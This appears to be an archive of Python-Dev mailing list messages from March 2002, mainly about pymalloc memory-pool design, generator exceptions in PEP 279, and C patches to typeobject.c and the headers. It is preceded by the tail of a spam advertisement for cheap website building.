                        size=3D3><FONT color=3D#000000 size=3D2>Call Toll Free <FONT 
                        color=3D#ff0000 
                        size=3D3>1-877-684 0179</FONT><BR>and&nbsp;place 
                        your order&nbsp;today.</FONT>
                        <HR id=3Dundefined>
                        Your completed Website is placed online 
                        and&nbsp;</FONT><FONT size=3D4><FONT color=3D#000000><FONT 
                        color=3D#0000ff size=3D3>Hosted FREE for a full year.
                        <HR id=3Dundefined>
                        </FONT></FONT><FONT color=3D#000000 size=3D3>A copy of 
                        your website is also placed on <FONT 
                        color=3D#0000ff>Compact Disc</FONT> </FONT><FONT 
                        color=3D#000000 size=3D3>and mailed to you.<BR><BR><FONT 
                        color=3D#ff0000 size=3D4>ALL FOR ONLY</FONT> <FONT 
                        color=3D#000000>$399<BR></FONT></FONT></FONT></FONT></STRONG></FONT></STRONG></FONT></FONT>
                        <P><STRONG><FONT color=3D#ff0000>Get yours today and you 
                        will sending visitors in&nbsp;less than 
                        a&nbsp;week!</FONT></STRONG></P>
                                </TD>
                      </TR></TABLE>
                          <p align=3Dcenter><FONT face=3DArial 
                 ><STRONG> <FONT color=3D#0000ff size=3D6>CALL 
                  TOLL&nbsp;FREE 1-877-684-0179<BR><FONT color=3D#800040>Target 
                  Marketing</FONT><BR>
                  <TABLE width=3D"100%" align=3Dcenter>
                    <TBODY>
                    <TR>
                      <TD align=3Dmiddle>
                        <DIV align=3Dcenter><FONT face=3DArial size=3D-1>
                        <HR id=3Dundefined>
                        To unsubscribe from this list, send a blank email to 
                        <BR><A 
                        href=3D"mailto:unsub-32295514-213@mail1.bvmmailer01.com "><FONT 
                        color=3D#800080>mailto:unsub-32295514-213@mail1.bvmmailer01.com 
                        </FONT></A><BR>or send a postcard to 
                        Unsubscribe, <BR>       
                                
                                
                                
                         6228 North Federal Highway, Suite 187, Ft. Lauderdale, 
                        Florida,&nbsp;33308.
                        <HR id=3Dundefined>
                        </DIV></FONT></TD></TR></TABLE></FONT></STRONG></FONT></P>
        </TD></TR></TABLE>
                  <CENTER><FONT 
        size=3D6></FONT>
                  </CENTER></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
</div>
</BODY></HTML>


------_NextPart_2629166136--


From gregory.p.green@boeing.com  Fri Mar 29 16:47:55 2002
From: gregory.p.green@boeing.com (Greg Green)
Date: Fri, 29 Mar 2002 08:47:55 -0800
Subject: [Python-Dev] mmap patch
Message-ID: <15524.39611.159057.146830@skorch.rt.cs.boeing.com>

I posted a patch to fix the mmap bus error bug SF #462783. After I
posted it I realized I forgot to list my e-mail address. I don't see
how to modify sourceforge so that it will use a good e-mail
address. Is there a way? 

-- 

Greg Green


From guido@python.org  Fri Mar 29 18:21:05 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 29 Mar 2002 13:21:05 -0500
Subject: [Python-Dev] mmap patch
In-Reply-To: Your message of "Fri, 29 Mar 2002 08:47:55 PST."
 <15524.39611.159057.146830@skorch.rt.cs.boeing.com>
References: <15524.39611.159057.146830@skorch.rt.cs.boeing.com>
Message-ID: <200203291821.g2TIL5t01263@odiug.zope.com>

> I posted a patch to fix the mmap bus error bug SF #462783. After I
> posted it I realized I forgot to list my e-mail address. I don't see
> how to modify sourceforge so that it will use a good e-mail
> address. Is there a way? 

You can use the Monitor feature.  Log in to SF, go to that particular
bug or patch, and click on the button labeled "Monitor" just below the
bug/patch title.

However, if you're talking about patch 536578, your name is there, so
I don't see the problem.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From nas@python.ca  Fri Mar 29 17:12:35 2002
From: nas@python.ca (Neil Schemenauer)
Date: Fri, 29 Mar 2002 09:12:35 -0800
Subject: [Python-Dev] mmap patch
In-Reply-To: <15524.39611.159057.146830@skorch.rt.cs.boeing.com>; from gregory.p.green@boeing.com on Fri, Mar 29, 2002 at 08:47:55AM -0800
References: <15524.39611.159057.146830@skorch.rt.cs.boeing.com>
Message-ID: <20020329091235.A8433@glacier.arctrix.com>

Greg Green wrote:
> I posted a patch to fix the mmap bus error bug SF #462783. After I
> posted it I realized I forgot to list my e-mail address. I don't see
> how to modify sourceforge so that it will use a good e-mail
> address. Is there a way? 

I don't think so.  You can just comment on it and that will add you to
the list of "interested users".  You could also just submit another
patch.  I can delete the other one.

  Neil


From tim.one@comcast.net  Fri Mar 29 18:05:23 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 29 Mar 2002 13:05:23 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <Pine.LNX.4.44.0203290649480.22363-100000@penguin.theopalgroup.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEENMOIAA.tim.one@comcast.net>

[Kevin Jacobs]
> Then make multiple thread-specific fingers, which will presumably
> result in higher hit rates due to better locality.

But at the cost of significantly slowing every test.  Python has no
efficient TLS abstraction:  we'd have to call get_thread_ident() every time,
then look up the finger in a dict devoted to this purpose.  All that is
likely as expensive as a binary search.

> To prevent fingers from being invalidated, do not remove arenas that
> are deallocated from the tree -- just mark them inactive.

That part's already done, except we save time by not bothering to mark them
inactive <wink>.  That is, pymalloc has never returned arenas to the system,
and still doesn't.

> ...
> Why not use a smaller (non-global) lock to protect arena modification
> and finger flushing?

I don't know what "finger flushing" means.  Note that Python has no
efficient x-platform lock abstraction either.

Note that every suggestion you dream up is competing with a gimmick that's
*very* fast now in typical cases.  If you can't picture the exact machine
instructions generated and hold them in your head all at once with ease,
it's probably too expensive to consider.



From tim.one@comcast.net  Fri Mar 29 18:50:54 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 29 Mar 2002 13:50:54 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <m3r8m3whdh.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEOAOIAA.tim.one@comcast.net>

[martin@v.loewis.de]
> I would not like to see such a binary search performed.

Duh <wink>.

> Instead, if anything needs to be done, I'd be in favour of using a
> constant-time algorithm, even if it means that a littler more memory
> overhead is necessary.
>
> I have the following idea: each chunk allocated by ought
                                                    ^
Allocated by what?  Some crucial words are missing here.  Note that I am
*not* proposing to change PyMem_{MALLOC, Malloc):  that continues to map
directly to system malloc(), so we have no control over, nor even knowledge
of, the memory allocated by PyMem_{MALLOC, Malloc}.  We can't redirect those
to pymalloc's malloc without introducing locks to prevent multithreaded
insanity, or "declaring by fiat" that existing working code is now horribly
broken in ways we can't help users detect.

> to have a pointer to its pool, immediately preceding the memory block.

In what fundamental way does this differ from pymalloc's current scheme of
storing the pool address at an address calculated *from* the pointer
address?  I suspect the real difference resides in the next point:

> This will make an overhead of 4 bytes per allocation. Chunks allocated
> by the system allocator will have a null pointer preceding them.

That's the killer.  We have no control over "the system allocator", by which
I mean libc's malloc() and realloc().  As above, trying to hijack them is
unattractive due to thread issues, even for just the PyMem_{Malloc, MALLOC,
Realloc, REALLOC, New, NEW, Resize, RESIZE} spellings.

> To deal with alignment, the size classes would increase each by 4
> bytes, so they would be spaced at 12, 20, 28, etc. bytes. With the 4
> byte overallocation, each chunk would be 8-aligned, if the previous
> chunk in the same pool is.

*If* we take over the system malloc, we need also to mimic the platform
malloc's alignment.  Pymalloc's object allocator can get away with 8-byte
alignment because the core never requires worse-than-double alignment, and
I'm willing to say that this is a language implementation restriction.  I
don't believe we can also restrict PyMem_umpteen_ways_to_spell_get_memory
that way:  they have always given platform-malloc alignment.  If we could, I
agree your scheme is fine, although I'm not sure why it stores a whole
pointer when it's making a 1-bit distinction ("does or does not reside in a
pymalloc pool").

> This approach would allow to remove the requirement that each pool
> must be 4k-aligned.

OK, that's why it really stores a whole pointer.  Agreed then, but the
memory lost to achieve page alignment once per-arena is likely small
compared to adding 4 bytes to every allocation unit.  The former loses at
most 4KB per 256KB.

> To support the NULL pointer in a system-malloc'ed chunk, pymalloc
> would overallocate 8 bytes if it defers to system malloc, to preserve
> alignment.
>
> What do you think?

Primarily that hijacking the system malloc is fraught with new difficulties.
If we *can* hijack it, so that pymalloc's free always knows that addresses
passed to it came from pymalloc's malloc/realloc originally, then I agree
it's easy to do something cheap to distinguish pool from non-pool memory.
The scheme I sketched is as hairy as it is exactly because it does the right
thing even when freeing an address obtained directly from the platform
malloc/realloc.



From tim.one@comcast.net  Fri Mar 29 20:38:34 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 29 Mar 2002 15:38:34 -0500
Subject: [Python-Dev] Re: PEP 279
In-Reply-To: <005501c1d6ea$88b8fa80$2dd8accf@othello>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEOJOIAA.tim.one@comcast.net>

[Raymond Hettinger, on generator exceptions]
> I need help from others on py-dev who can articulate the need clearly.
> For me, it's as plain as day and I don't know what to say to convey the
> message better than it is expressed in the PEP.

I can't:  "simple generators" were deliberately not coroutines, and I
dislike trying to add 2-way control-flow gimmicks to them.  Over the years
I've found that "resumable function" is easy to get across even to C
programmers <wink>, but anything fancier hits a wall.  So I'd like to keep
generators simple.

Generator exceptions do less damage (IMO) to simplicity than some of the
other extensions, but in practice, in the very few cases I've wanted
something like that, this worked fine:

class Whatever:
    def __init__(self):
        self._stop = 0

    def stop(self):
        self._stop = 1

    def generator(self):
        while 1:
            ...
            yield something
            if self._stop:
                break
        cleanup

I agree a throw() would be easier to live with, the problem is that I've so
rarely needed it.

> ...
> It was meant to be a generic and oversimplified example of
> clean-up code in a generator being used as a data consumer.

Simple generators were designed to be data producers, and:

> ...
> Dr. Mertz's co-routine code does make a much better case,

Bingo.  If you want coroutines, design a coroutine facility.  Piling more
semantics on to "yield" takes a delightfully simple yet powerful gimmick and
hides it under ten kinds of obscurity.



From guido@python.org  Fri Mar 29 20:53:49 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 29 Mar 2002 15:53:49 -0500
Subject: [Python-Dev] Re: PEP 279
In-Reply-To: Your message of "Fri, 29 Mar 2002 15:38:34 EST."
 <LNBBLJKPBEHFEDALKOLCEEOJOIAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCEEOJOIAA.tim.one@comcast.net>
Message-ID: <200203292053.g2TKrnJ16007@pcp742651pcs.reston01.va.comcast.net>

[Tim]
> Bingo.  If you want coroutines, design a coroutine facility.  Piling
> more semantics on to "yield" takes a delightfully simple yet
> powerful gimmick and hides it under ten kinds of obscurity.

Raymond, don't say I didn't warn you: I'm going to reject the throw()
addition and the parameter passing PEP (if you ever write it) based on
Tim's comments here.  So you can save yourself time by not writing the
PEP, or (if you insist on writing it) by making it ready for rejection
(like PEP 666).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From David Abrahams" <david.abrahams@rcn.com  Fri Mar 29 21:24:41 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Fri, 29 Mar 2002 16:24:41 -0500
Subject: [Python-Dev] Code comprehensibility patch
References: <LNBBLJKPBEHFEDALKOLCGELKOIAA.tim.one@comcast.net>
Message-ID: <0f7701c1d768$b4b13ed0$0202a8c0@boostconsulting.com>

----- Original Message -----
From: "Tim Peters" <tim.one@comcast.net>


> > A long time ago I wrote to Guido suggesting that I might like to
submit
> > some patches to improve the comprehensibility of the Python source.
> > ...
> > I hope it looks like an improvement to people, but please let me
know
> > if it does not.
>
> I assume there was something wrong with the patch as posted, as it
looked
> like the new code used 1-space indents.  It also looked like it was
made
> against an out-of-date version of typeobject.c (please use current CVS
as a
> base -- the newer type/class code is unusually volatile).

Fixed. Comments appreciated. The new code is appended for easy perusal

-Dave

-----

static PyObject *
type_getattro(PyTypeObject *type, PyObject *name)
{
  PyTypeObject *metatype = type->ob_type;
  PyObject *meta_attribute, *attribute;
  descrgetfunc meta_get;

  /* Initialize this type (we'll assume the metatype is initialized) */
  if (type->tp_dict == NULL) {
    if (PyType_Ready(type) < 0)
      return NULL;
  }

  /* No readable descriptor found yet */
  meta_get = NULL;

  /* Look for the attribute in the metatype */
  meta_attribute = _PyType_Lookup(metatype, name);

  if (meta_attribute != NULL) {
    meta_get = meta_attribute->ob_type->tp_descr_get;

    if (meta_get != NULL && PyDescr_IsData(meta_attribute)) {
      /* Data descriptors implement tp_descr_set to intercept
       * writes. Assume the attribute is not overridden in
       * type's tp_dict (and bases): call the descriptor now.
       */
      return meta_get(meta_attribute,
              (PyObject *)type, (PyObject *)metatype);
    }
  }

  /* No data descriptor found on metatype. Look in tp_dict of this
   * type and its bases */
  attribute = _PyType_Lookup(type, name);
  if (attribute != NULL) {
    /* Implement descriptor functionality, if any */
    descrgetfunc local_get = attribute->ob_type->tp_descr_get;
    if (local_get != NULL) {
      /* NULL 2nd argument indicates the descriptor was found on
       * the target object itself (or a base)  */
      return local_get(attribute, (PyObject *)NULL, (PyObject *)type);
    }

    Py_INCREF(attribute);
    return attribute;
  }

  /* No attribute found in local __dict__ (or bases): use the
   * descriptor from the metatype, if any */
  if (meta_get != NULL)
    return meta_get(meta_attribute, (PyObject *)type, (PyObject
*)metatype);

  /* If an ordinary attribute was found on the metatype, return it now.
*/
  if (meta_attribute != NULL) {
    Py_INCREF(meta_attribute);
    return meta_attribute;
  }

  /* Give up */
  PyErr_Format(PyExc_AttributeError,
       "type object '%.50s' has no attribute '%.400s'",
       type->tp_name, PyString_AS_STRING(name));
  return NULL;
}




From David Abrahams" <david.abrahams@rcn.com  Fri Mar 29 21:29:28 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Fri, 29 Mar 2002 16:29:28 -0500
Subject: [Python-Dev] Missing #include guards/extern "C"
Message-ID: <0f7c01c1d769$03b5d270$0202a8c0@boostconsulting.com>

It appears the following were missing
    #ifdef __cplusplus
    extern "C" {
    #endif

some were also missing #include guards; I didn't check all headers for
missing #include guards, just the ones without extern "C" support.

    CStringIO.h
    descrobject.h
    iterobject.h

I uploaded a patch to address the problem.

+---------------------------------------------------------------+
                  David Abrahams
      C++ Booster (http://www.boost.org)               O__  ==
      Pythonista (http://www.python.org)              c/ /'_ ==
  resume: http://users.rcn.com/abrahams/resume.html  (*) \(*) ==
          email: david.abrahams@rcn.com
+---------------------------------------------------------------+



From tim.one@comcast.net  Fri Mar 29 21:35:21 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 29 Mar 2002 16:35:21 -0500
Subject: [Python-Dev] Code comprehensibility patch
In-Reply-To: <0f7701c1d768$b4b13ed0$0202a8c0@boostconsulting.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEPCOIAA.tim.one@comcast.net>

[David Abrahams]
> Fixed. Comments appreciated. The new code is appended for easy perusal

Something in your email chain replaces tab characters with spaces.  You can
see this yourself here:

http://mail.python.org/pipermail/python-dev/2002-March/021924.html

So please attach patches *as* attachments to the SourceForge report.
SourceForge does its own kinds of whitespace destruction in description and
comment fields.  Attachments don't suffer.

This will go really easy when you stop fighting the system <wink>.



From martin@v.loewis.de  Fri Mar 29 22:15:40 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 29 Mar 2002 23:15:40 +0100
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIEOAOIAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCIEOAOIAA.tim.one@comcast.net>
Message-ID: <m3u1qzuik3.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> > Instead, if anything needs to be done, I'd be in favour of using a
> > constant-time algorithm, even if it means that a littler more memory
> > overhead is necessary.
> >
> > I have the following idea: each chunk allocated by ought
>                                                     ^
> Allocated by what?  Some crucial words are missing here.  

Sorry: each chunk allocated by pymalloc ought to have a pointer to its
pool.

> Note that I am *not* proposing to change PyMem_{MALLOC, Malloc)

I understand that (I think). Neither do I.

> > to have a pointer to its pool, immediately preceding the memory block.
> 
> In what fundamental way does this differ from pymalloc's current scheme of
> storing the pool address at an address calculated *from* the pointer
> address?  I suspect the real difference resides in the next point:
> 
> > This will make an overhead of 4 bytes per allocation. Chunks allocated
> > by the system allocator will have a null pointer preceding them.
> 
> That's the killer.  We have no control over "the system allocator", by which
> I mean libc's malloc() and realloc().  

We sure do. In _PyMalloc_Malloc, replace the line

	return (void *)PyMem_MALLOC(nbytes);

with

        void **result;

        result = (void**)PyMem_MALLOC(nbytes+8);
        result[1] = NULL;
	return (result+2);

Likewise, replace

	offset = (off_t )p & POOL_SIZE_MASK;
	pool = (poolp )((block *)p - offset);
	if (pool->pooladdr != pool || pool->magic != (uint )POOL_MAGIC) {
		PyMem_FREE(p);
		return;
	}

with

        void **block = (void**)p;
        if(block[-1] == NULL){
		PyMem_FREE(block-2);
		return;
	}

> As above, trying to hijack them is unattractive due to thread
> issues, even for just the PyMem_{Malloc, MALLOC, Realloc, REALLOC,
> New, NEW, Resize, RESIZE} spellings.

I can't see how this approach would add thread issues.

> *If* we take over the system malloc, we need also to mimic the platform
> malloc's alignment.  

I'm not sure what you mean by "take over". It will still be used as an
allocator for arenas, and for large requests.

> Pymalloc's object allocator can get away with 8-byte alignment
> because the core never requires worse-than-double alignment, and I'm
> willing to say that this is a language implementation restriction.
> I don't believe we can also restrict
> PyMem_umpteen_ways_to_spell_get_memory that way

I'm not proposing anything like this.

> > This approach would allow to remove the requirement that each pool
> > must be 4k-aligned.
> 
> OK, that's why it really stores a whole pointer.  Agreed then, but the
> memory lost to achieve page alignment once per-arena is likely small
> compared to adding 4 bytes to every allocation unit.  The former loses at
> most 4KB per 256KB.

Indeed, this approach might be slightly more expensive. In return, it
is safe and (time-)efficient.

It is actually not that much more expensive. For 96-bytes objects, you
get 42 objects in a pool. With my change, 96-byte objects fall into
the 100 byte size class, requiring 104 bytes per object, allowing for
39 objects in a pool, thus wasting 3*96=288 bytes, or 18KB per 256KB.
For 100 byte objects, nothing is wasted, since there is already 4 byte
padding in pymalloc today.

> Primarily that hijacking the system malloc is fraught with new difficulties.

That might be, but I'm not proposing this (or I don't understand the
work "hijacking").

> The scheme I sketched is as hairy as it is exactly because it does the right
> thing even when freeing an address obtained directly from the platform
> malloc/realloc.

That safe-guard isn't needed, IMO. Returning memory allocated directly
through malloc (and not via _PyMalloc_Malloc) to _PyMalloc_Free is
clearly a bug, and there are more efficient ways to detect this kind
of bug (like your pymalloc debug mechanism). In addition, there are so
many other kinds of bugs that this doesn't protect against (like not
taking the GC header into account when releasing memory) that this
alone isn't convincing.

Regards,
Martin



From tim.one@comcast.net  Fri Mar 29 22:33:34 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 29 Mar 2002 17:33:34 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <m3r8m3whdh.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEPJOIAA.tim.one@comcast.net>

After digesting some ideas from David Abrahams offlist, I believe I may have
a much simpler way to make a bulletproof "is or isn't this address from a
pymalloc pool?" test.  Described as a diff from current pymalloc:

1. Keep a contiguous vector of arena base addresses.  This is not
   sorted.  When a new arena is allocated, its base address is simply
   appended.  Space required is proportional to the # of arenas in
   use (4 bytes/arena on a 32-bit box; 8 bytes/arena on a 64-bit box).

2. Remove the "magic number" gimmick from pool headers.

3. In place of the pooladr member of a pool header, add an arenaindex
   member.  Every pool in an arena sets this to the index of its arena's
   base address, wrt the vector in #2.

4. To check an address p, find its pool header address just as now.
   Then read up arenaindex.  If that's out of bounds for the #2 vector,
   it's not a pymalloc address.  If it is in bounds, read the arena
   base address B out of the #2 vector, and see whether B <= p < B + 256KB
   (which can again be collapsed into a tricksy one-compare test via
   exploiting unsigned arithmetic).

In #4, it's quite possible that non-pymalloc memory will lead to an
in-bounds arenaindex -- but it can't pass the address test then.

Limitation:  if arenaindex is 32 bits, we can index at most 2**32 arenas,
covering at most 2**32 arenas * 2**18 bytes/arena = 2**50 bytes on a 64-bit
box.  At that point we'd be devoting 2**32 arenas * 8
bytes-for-address/arena = 32 gigabtyes to the base-address vector.  I assume
the program will die long before this for some other good reason <wink>.



From David Abrahams" <david.abrahams@rcn.com  Fri Mar 29 22:45:34 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Fri, 29 Mar 2002 17:45:34 -0500
Subject: [Python-Dev] pymalloc killer
References: <LNBBLJKPBEHFEDALKOLCAEPJOIAA.tim.one@comcast.net>
Message-ID: <0fcf01c1d773$71be43b0$0202a8c0@boostconsulting.com>

----- Original Message -----
From: "Tim Peters" <tim.one@comcast.net>


> After digesting some ideas from David Abrahams offlist, I believe I
may have
> a much simpler way to make a bulletproof "is or isn't this address
from a
> pymalloc pool?" test.  Described as a diff from current pymalloc:
>
> 1. Keep a contiguous vector of arena base addresses.  This is not
>    sorted.  When a new arena is allocated, its base address is simply
>    appended.  Space required is proportional to the # of arenas in
>    use (4 bytes/arena on a 32-bit box; 8 bytes/arena on a 64-bit box).
>
> 2. Remove the "magic number" gimmick from pool headers.
>
> 3. In place of the pooladr member of a pool header, add an arenaindex
>    member.  Every pool in an arena sets this to the index of its
arena's
>    base address, wrt the vector in #2.
>
> 4. To check an address p, find its pool header address just as now.
>    Then read up arenaindex.  If that's out of bounds for the #2
vector,
>    it's not a pymalloc address.  If it is in bounds, read the arena
>    base address B out of the #2 vector

Fine so far...

> , and see whether B <= p < B + 256KB
>    (which can again be collapsed into a tricksy one-compare test via
>    exploiting unsigned arithmetic).

...isn't this part just a little too complicated? If I understand
correctly, arenas are 4K aligned pages. Given an address, when you find
its pool header, you either find a valid arena header that covers all 4K
subsequent addresses, or some alien memory. I think you just have to
look for the address of the pool header at the appropriate index in the
vector. IOW, there should be no need to look at the address you're
deallocating after finding its putative arena.

-Dave



From fdrake@acm.org  Fri Mar 29 22:48:51 2002
From: fdrake@acm.org (Fred L. Drake)
Date: Fri, 29 Mar 2002 17:48:51 -0500 (EST)
Subject: [Python-Dev] [development doc updates]
Message-ID: <20020329224851.02DAD18EAD1@grendel.zope.com>

The development version of the documentation has been updated:

    http://python.sourceforge.net/devel-docs/

Started to update the Extending & Embedding manual with information on the
new support for types.

There's still a long way to go -- contributions welcome!



From martin@v.loewis.de  Fri Mar 29 22:54:06 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 29 Mar 2002 23:54:06 +0100
Subject: [Python-Dev] Refcounting heap types
Message-ID: <m3hemzugs1.fsf@mira.informatik.hu-berlin.de>

typeobject.c:PyType_GenericAlloc has this:

	if (type->tp_flags & Py_TPFLAGS_HEAPTYPE)
		Py_INCREF(type);

Where is the corresponding DECREF?

Regards,
Martin


From David Abrahams" <david.abrahams@rcn.com  Fri Mar 29 22:59:14 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Fri, 29 Mar 2002 17:59:14 -0500
Subject: [Python-Dev] [development doc updates]
References: <20020329224851.02DAD18EAD1@grendel.zope.com>
Message-ID: <0ffe01c1d775$c84ba270$0202a8c0@boostconsulting.com>

I'll see what I can do. It would help to have some guidance as to:

* What needs to be done
* What format(s) would be appropriate (patches to TeX source, plain
text...)
* What approach to take (e.g. "just document what the existing Python
source does", or "ask Guido what the intended functionality is and
transcribe what he says")
* ...etc. (I'm sure you can think of more).

-Dave

----- Original Message -----
From: "Fred L. Drake" <fdrake@acm.org>
To: <python-dev@python.org>; <doc-sig@python.org>;
<python-list@python.org>
Sent: Friday, March 29, 2002 5:48 PM
Subject: [Python-Dev] [development doc updates]


> The development version of the documentation has been updated:
>
>     http://python.sourceforge.net/devel-docs/
>
> Started to update the Extending & Embedding manual with information on
the
> new support for types.
>
> There's still a long way to go -- contributions welcome!
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev



From guido@python.org  Fri Mar 29 23:16:06 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 29 Mar 2002 18:16:06 -0500
Subject: [Python-Dev] Refcounting heap types
In-Reply-To: Your message of "29 Mar 2002 23:54:06 +0100."
 <m3hemzugs1.fsf@mira.informatik.hu-berlin.de>
References: <m3hemzugs1.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203292316.g2TNG6U17133@pcp742651pcs.reston01.va.comcast.net>

> typeobject.c:PyType_GenericAlloc has this:
> 
> 	if (type->tp_flags & Py_TPFLAGS_HEAPTYPE)
> 		Py_INCREF(type);
> 
> Where is the corresponding DECREF?

At the bottom of subtype_dealloc():

	/* Can't reference self beyond this point */
	if (type->tp_flags & Py_TPFLAGS_HEAPTYPE) {
		Py_DECREF(type);
	}

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Fri Mar 29 23:21:57 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 29 Mar 2002 18:21:57 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <200203291434.g2TEY1505403@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEPPOIAA.tim.one@comcast.net>

[Guido, points out a bunch of memory mgmt problems with myreadline.c
 and PyOS_StdioReadline, which I might understand if I devoted April to
 it <0.9 wink>]

I believe the last suggestion I posted gets much closer to allowing any
mixture of PyMem_XXX with platform malloc/realloc/free without thread
issues.  Seems the only trouble can come if a PyObject_{New, NewVar, Malloc,
Realloc} needs to allocate a new arena *and* needs to grow the vector of
arena base addresses, at the same time some jackass calls PyMem_{DEL, Del,
FREE, Free} in another thread without holding the GIL.  There's a tiny
window of vulnerability then in the latter guy, as the base-address vector
may shift in memory while the vector is growing, leaving the latter guy
indexing into suddenly-stale memory.  This would have to happen in a window
of about 3 machine instructions to do any harm, at the same time the
base-address vector is moving.  Yuck.

> I know of two places that calls PyMem_Malloc outside the GIL:
> PyOS_StdioReadline in Parser/myreadline.c and call_readline() in
> Modules/readline.c.  The memory thus allocated is returned by
> PyOS_Readline() (which calls either function through a hook pointer),
> and both its callers (the tokenizer and raw_input()) free the result
> using PyMem_DEL or PyMem_FREE (these two seem to be used
> synonymically).  The tokenizer code may also apply PyMem_RESIZE to it
> (it incorporated the input line in its buffer structure).
>
> This would have to be fixed by changing the allocations to use
> malloc() (as they did up to 1.5.2 :-) and by changing the consumers to
> use free() and realloc().  (An alternative would be to let
> PyOS_Readline() copy the memory to PyMem_Malloc'ed memory.)

This is the kind of heroic effort I don't want to impose on users:  you have
encyclopedic knowledge of how the Python implementation may be abusing this
stuff, and you *invented* the rules <wink>.  Random extension authors are
going to have a much harder time of it -- as far as they're concerned,
PyMem_{DEL, FREE, Del, Free} are all just ways to spell "platform free(),
but I'm not supposed to call free() directly for some reason I don't
understand -- I think it might have had something to do with DLLs on
Windows".

> This is part of a "hook" API that allows 3rd parties to provide their
> own alternative to PyOS_Readline.  This was put in at the request of
> some folks at LLNL who were providing their own GUI that fed into
> Python and who had some problems with sending it to stdin.  I don't
> think anybody else has used this.  There is not a single mention of
> PyOS_Readline in the entire set of Python documentation.

Well, neither is there any mention of possibly abusive functions in hundreds
of extension modules we've never heard of.

> Given the alternatives:
>
> 1. introduce new APIs PyMalloc_{New,Del}Object and tell all extension
>    writers that they have to changes their extensions once again to
>    use these brand new APIs if they want to benefit from pymalloc; or
>
> 2. fix the issues with PyOS_Readline, make PyMem_{DEL,FREE,Del,Free}
>    synonyms for Tim's clever PyMem_NukeIt, and continue to promote
>    using PyObject_{New,Del} for use by extension writers;
>
> I'm all for #2.

You're presenting #1 as user-hostile and #2 as user-friendly.  But if part
of #2 is also saying that it's now definitely illegal to call PyMem_{Free,
FREE, Del, DEL} without holding the GIL, and horrible things may start to
happen in 2.3 if you're doing so, then it's also user-hostile in that
respect.  #1 is user-friendly in the "nothing breaks" sense.  I haven't
given up on combining the best of both, but I am getting close <wink>.



From martin@v.loewis.de  Fri Mar 29 23:22:46 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 30 Mar 2002 00:22:46 +0100
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <LNBBLJKPBEHFEDALKOLCAEPJOIAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCAEPJOIAA.tim.one@comcast.net>
Message-ID: <m34rizufg9.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> After digesting some ideas from David Abrahams offlist, I believe I may have
> a much simpler way to make a bulletproof "is or isn't this address from a
> pymalloc pool?" test.  Described as a diff from current pymalloc:

This sounds quite good. The only flaw is that you need to trust that
the machine has paged memory - otherwise, rounding down an arbitrary
address to a 4k boundary, and then reading a value may cause an access
violation (or may, say, fetch data from some peripheral device, thus
starting the coffee machine :-). For the architectures we care about,
this seems to be guaranteed; on other architectures, people will need
to disable pymalloc.

Regards,
Martin


From martin@v.loewis.de  Fri Mar 29 23:25:25 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 30 Mar 2002 00:25:25 +0100
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <0fcf01c1d773$71be43b0$0202a8c0@boostconsulting.com>
References: <LNBBLJKPBEHFEDALKOLCAEPJOIAA.tim.one@comcast.net>
 <0fcf01c1d773$71be43b0$0202a8c0@boostconsulting.com>
Message-ID: <m3zo0rt0re.fsf@mira.informatik.hu-berlin.de>

"David Abrahams" <david.abrahams@rcn.com> writes:

> ...isn't this part just a little too complicated? If I understand
> correctly, arenas are 4K aligned pages. 

No, arenas are 256k areas which are split into 4k pools.

> Given an address, when you find its pool header, you either find a
> valid arena header that covers all 4K subsequent addresses, or some
> alien memory. I think you just have to look for the address of the
> pool header at the appropriate index in the vector. IOW, there
> should be no need to look at the address you're deallocating after
> finding its putative arena.

The pool in question and the arena it belongs to may have different
starting addresses (in 63 of 64 cases, they will be different).

Of course, you could also build the table for pool addresses,
assigning pool indices - but that would require 64 times as much
memory.

Regards,
Martin


From David Abrahams" <david.abrahams@rcn.com  Fri Mar 29 23:46:28 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
